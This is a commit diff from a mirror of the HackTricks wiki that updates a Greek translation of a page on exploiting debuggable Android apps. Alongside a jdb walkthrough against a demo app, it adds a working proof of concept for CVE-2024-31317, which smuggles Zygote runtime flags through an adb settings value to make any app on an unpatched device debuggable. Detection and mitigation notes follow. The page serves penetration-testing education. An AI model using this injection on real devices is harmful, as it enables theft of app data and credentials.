mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/exploiting-a-d
This commit is contained in:
parent
5d932973ff
commit
7d710767c6
@ -15,7 +15,7 @@
|
||||
1. **Αποσυμπίεση του APK:**
|
||||
|
||||
- Χρησιμοποιήστε το εργαλείο APK-GUI για την αποσυμπίεση του APK.
|
||||
- Στο αρχείο _android-manifest_, προσθέστε `android:debuggable=true` για να ενεργοποιήσετε τη λειτουργία αποσφαλμάτωσης.
|
||||
- Στο αρχείο _android-manifest_, εισάγετε `android:debuggable="true"` για να ενεργοποιήσετε τη λειτουργία αποσφαλμάτωσης.
|
||||
- Επανασυμπιέστε, υπογράψτε και zipalign την τροποποιημένη εφαρμογή.
|
||||
|
||||
2. **Εγκατάσταση της τροποποιημένης εφαρμογής:**
|
||||
@ -24,13 +24,13 @@
|
||||
|
||||
3. **Ανάκτηση του ονόματος πακέτου:**
|
||||
|
||||
- Εκτελέστε `adb shell pm list packages –3` για να καταγράψετε τις εφαρμογές τρίτων και να βρείτε το όνομα του πακέτου.
|
||||
- Εκτελέστε `adb shell pm list packages –3` για να καταγράψετε τις εφαρμογές τρίτων και να βρείτε το όνομα πακέτου.
|
||||
|
||||
4. **Ρύθμιση της εφαρμογής να περιμένει σύνδεση αποσφαλμάτωσης:**
|
||||
|
||||
- Εντολή: `adb shell am setup-debug-app –w <package_name>`.
|
||||
- **Σημείωση:** Αυτή η εντολή πρέπει να εκτελείται κάθε φορά πριν ξεκινήσει η εφαρμογή για να διασφαλιστεί ότι περιμένει τον αποσφαλματωτή.
|
||||
- Για μόνιμη ρύθμιση, χρησιμοποιήστε `adb shell am setup-debug-app –w -–persistent <package_name>`.
|
||||
- Για μόνιμη ρύθμιση, χρησιμοποιήστε `adb shell am setup-debug-app –w ––persistent <package_name>`.
|
||||
- Για να αφαιρέσετε όλες τις σημαίες, χρησιμοποιήστε `adb shell am clear-debug-app <package_name>`.
|
||||
|
||||
5. **Προετοιμασία για αποσφαλμάτωση στο Android Studio:**
|
||||
@ -59,11 +59,11 @@
|
||||
|
||||
# **Εκμετάλλευση μιας ευπάθειας**
|
||||
|
||||
Παρέχεται μια επίδειξη χρησιμοποιώντας μια ευάλωτη εφαρμογή που περιέχει ένα κουμπί και ένα textview. Αρχικά, η εφαρμογή εμφανίζει "Crack Me". Ο στόχος είναι να αλλάξει το μήνυμα από "Try Again" σε "Hacked" κατά την εκτέλεση, χωρίς να τροποποιηθεί ο πηγαίος κώδικας.
|
||||
Παρέχεται μια επίδειξη χρησιμοποιώντας μια ευάλωτη εφαρμογή που περιέχει ένα κουμπί και ένα textview. Αρχικά, η εφαρμογή εμφανίζει "Crack Me". Σκοπός είναι να αλλάξει το μήνυμα από "Try Again" σε "Hacked" κατά την εκτέλεση, χωρίς να τροποποιηθεί ο πηγαίος κώδικας.
|
||||
|
||||
## **Έλεγχος για ευπάθεια**
|
||||
|
||||
- Η εφαρμογή αποσυμπιέστηκε χρησιμοποιώντας το `apktool` για να αποκτήσετε πρόσβαση στο αρχείο `AndroidManifest.xml`.
|
||||
- Η εφαρμογή αποσυμπιέστηκε χρησιμοποιώντας το `apktool` για να αποκτήσει πρόσβαση στο αρχείο `AndroidManifest.xml`.
|
||||
- Η παρουσία του `android_debuggable="true"` στο AndroidManifest.xml υποδεικνύει ότι η εφαρμογή είναι αποσφαλματώσιμη και επιρρεπής σε εκμετάλλευση.
|
||||
- Αξιοσημείωτο είναι ότι το `apktool` χρησιμοποιείται αποκλειστικά για να ελέγξει την κατάσταση αποσφαλμάτωσης χωρίς να τροποποιήσει κανέναν κώδικα.
|
||||
|
||||
@ -71,7 +71,7 @@
|
||||
|
||||
- Η διαδικασία περιλάμβανε την εκκίνηση ενός εξομοιωτή, την εγκατάσταση της ευάλωτης εφαρμογής και τη χρήση του `adb jdwp` για να εντοπιστούν οι θύρες Dalvik VM που ακούνε.
|
||||
- Το JDWP (Java Debug Wire Protocol) επιτρέπει την αποσφαλμάτωση μιας εφαρμογής που εκτελείται σε μια VM εκθέτοντας μια μοναδική θύρα.
|
||||
- Η προώθηση θυρών ήταν απαραίτητη για την απομακρυσμένη αποσφαλμάτωση, ακολουθούμενη από την προσάρτηση του JDB στην στοχευμένη εφαρμογή.
|
||||
- Η προώθηση θυρών ήταν απαραίτητη για την απομακρυσμένη αποσφαλμάτωση, ακολουθούμενη από την προσάρτηση του JDB στην στοχοθετημένη εφαρμογή.
|
||||
|
||||
## **Εισαγωγή κώδικα κατά την εκτέλεση**
|
||||
|
||||
@ -79,13 +79,49 @@
|
||||
- Εντολές όπως `classes` και `methods <class_name>` χρησιμοποιήθηκαν για να αποκαλύψουν τη δομή της εφαρμογής.
|
||||
- Ένα σημείο διακοπής τοποθετήθηκε στη μέθοδο `onClick`, και η εκτέλεσή της ελέγχθηκε.
|
||||
- Οι εντολές `locals`, `next`, και `set` χρησιμοποιήθηκαν για να εξετάσουν και να τροποποιήσουν τις τοπικές μεταβλητές, ιδιαίτερα αλλάζοντας το μήνυμα "Try Again" σε "Hacked".
|
||||
- Ο τροποποιημένος κώδικας εκτελέστηκε χρησιμοποιώντας την εντολή `run`, επιτυχώς αλλάζοντας την έξοδο της εφαρμογής σε πραγματικό χρόνο.
|
||||
- Ο τροποποιημένος κώδικας εκτελέστηκε χρησιμοποιώντας την εντολή `run`, αλλάζοντας με επιτυχία την έξοδο της εφαρμογής σε πραγματικό χρόνο.
|
||||
|
||||
Αυτό το παράδειγμα απέδειξε πώς μπορεί να χειραγωγηθεί η συμπεριφορά μιας αποσφαλματώσιμης εφαρμογής, υπογραμμίζοντας τη δυνατότητα πιο σύνθετων εκμεταλλεύσεων όπως η απόκτηση πρόσβασης σε shell στη συσκευή στο πλαίσιο της εφαρμογής.
|
||||
Αυτό το παράδειγμα απέδειξε πώς μπορεί να χειριστεί η συμπεριφορά μιας αποσφαλματώσιμης εφαρμογής, υπογραμμίζοντας τη δυνατότητα για πιο σύνθετες εκμεταλλεύσεις όπως η απόκτηση πρόσβασης σε shell στη συσκευή στο πλαίσιο της εφαρμογής.
|
||||
|
||||
---
|
||||
|
||||
# 2024 – Μετατρέποντας **οποιαδήποτε** εφαρμογή σε αποσφαλματώσιμη διαδικασία (CVE-2024-31317)
|
||||
|
||||
Ακόμα και αν το στοχευόμενο APK _δεν_ αποστέλλεται με τη σημαία `android:debuggable`, πρόσφατη έρευνα έδειξε ότι είναι δυνατό να αναγκαστούν **τυχαίες εφαρμογές** να ξεκινούν με τη σημαία χρόνου εκτέλεσης `DEBUG_ENABLE_JDWP` εκμεταλλευόμενοι τον τρόπο που ο Zygote αναλύει τα επιχειρήματα γραμμής εντολών.
|
||||
|
||||
* **Ευπάθεια:** Ακατάλληλη επικύρωση των `--runtime-flags` που παρέχονται μέσω της υποδοχής εντολών του Zygote επιτρέπει σε έναν επιτιθέμενο που μπορεί να φτάσει στο `system_server` (για παράδειγμα μέσω της προνομιακής `adb` shell που κατέχει την άδεια `WRITE_SECURE_SETTINGS`) να εισάγει επιπλέον παραμέτρους. Όταν η κατασκευασμένη εντολή αναπαράγεται από το `system_server`, η εφαρμογή-στόχος δημιουργείται ως _αποσφαλματώσιμη_ και με ένα νήμα JDWP να ακούει. Το ζήτημα παρακολουθείται ως **CVE-2024-31317** και διορθώθηκε στο Android Security Bulletin του Ιουνίου 2024.
|
||||
* **Επίπτωση:** Πλήρης πρόσβαση ανάγνωσης/εγγραφής στον ιδιωτικό κατάλογο δεδομένων **οποιασδήποτε** εφαρμογής (συμπεριλαμβανομένων των προνομιακών όπως το `com.android.settings`), κλοπή διαπιστευτηρίων, παράκαμψη MDM, και σε πολλές περιπτώσεις άμεσος δρόμος για κλιμάκωση προνομίων εκμεταλλευόμενος τα εξαγόμενα IPC endpoints της τώρα αποσφαλματώσιμης διαδικασίας.
|
||||
* **Επηρεαζόμενες εκδόσεις:** Android 9 έως 14 πριν από το επίπεδο επιδιόρθωσης του Ιουνίου 2024.
|
||||
|
||||
## Γρήγορο PoC
|
||||
```bash
|
||||
# Requires: adb shell (device must be <2024-06-01 patch-level)
|
||||
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
|
||||
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
|
||||
|
||||
# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
|
||||
adb shell monkey -p com.victim.bank 1
|
||||
|
||||
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
|
||||
adb jdwp # obtain the PID
|
||||
adb forward tcp:8700 jdwp:<pid>
|
||||
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||||
```
|
||||
> Η κατασκευασμένη τιμή στο βήμα 1 σπάει τον αναλυτή από την "γρήγορη διαδρομή" και προσθέτει μια δεύτερη συνθετική εντολή όπου `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) γίνεται αποδεκτή σαν να είχε παρασχεθεί από το πλαίσιο. Μόλις η εφαρμογή ξεκινήσει, ανοίγει ένα JDWP socket και είναι δυνατές οι κανονικές τεχνικές δυναμικού debugging (αντικατάσταση μεθόδου, patching μεταβλητών, ζωντανή ένεση Frida, κ.λπ.) **χωρίς να τροποποιηθεί το APK ή η εικόνα εκκίνησης της συσκευής**.
|
||||
|
||||
## Ανίχνευση & Μετριασμός
|
||||
|
||||
* Ενημερώστε σε **2024-06-01** (ή αργότερα) επίπεδο ασφαλείας – Η Google ενίσχυσε το `ZygoteCommandBuffer` έτσι ώστε οι επόμενες εντολές να μην μπορούν να λαθραία εισαχθούν με αυτόν τον τρόπο.
|
||||
* Περιορίστε την πρόσβαση `WRITE_SECURE_SETTINGS` / `shell` σε παραγωγικές συσκευές. Η εκμετάλλευση απαιτεί αυτή την άδεια, η οποία κανονικά κατέχεται μόνο από εφαρμογές ADB ή OEM-privileged.
|
||||
* Σε στόλους που διαχειρίζονται EMM/MDM, επιβάλετε `ro.debuggable=0` και αρνηθείτε την πρόσβαση shell μέσω `adb disable-verifier`.
|
||||
|
||||
---
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
- [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||
- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html)
|
||||
- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user